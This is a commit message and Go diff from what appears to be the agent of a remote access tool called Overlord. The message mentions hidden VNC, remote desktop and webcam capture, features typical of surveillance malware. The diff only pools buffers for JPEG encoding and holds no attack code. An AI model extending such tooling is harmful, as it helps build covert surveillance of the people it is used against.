optimize remote desktop, hvnc and webcam stuff. Fix issues with webcam frames getting super slow out of nowhere because of backup. Also remove compression since we rarely use it + H264 already compresses. Most things we send either way are so small where compression just adds CPU overhead that isn't needed.

Overlord-Client/cmd/agent/capture/jpeg_std.go

@@ -4,13 +4,26 @@ import (
 	"bytes"
 	"image"
 	"image/jpeg"
+	"sync"
 )
 
+var jpegBufPool = sync.Pool{
+	New: func() interface{} {
+		b := bytes.NewBuffer(make([]byte, 0, 128*1024))
+		return b
+	},
+}
+
 func encodeJPEG(img image.Image, quality int) ([]byte, error) {
-	buf := bytes.Buffer{}
-	err := jpeg.Encode(&buf, img, &jpeg.Options{Quality: quality})
+	buf := jpegBufPool.Get().(*bytes.Buffer)
+	buf.Reset()
+	err := jpeg.Encode(buf, img, &jpeg.Options{Quality: quality})
 	if err != nil {
+		jpegBufPool.Put(buf)
 		return nil, err
 	}
-	return buf.Bytes(), nil
+	out := make([]byte, buf.Len())
+	copy(out, buf.Bytes())
+	jpegBufPool.Put(buf)
+	return out, nil
 }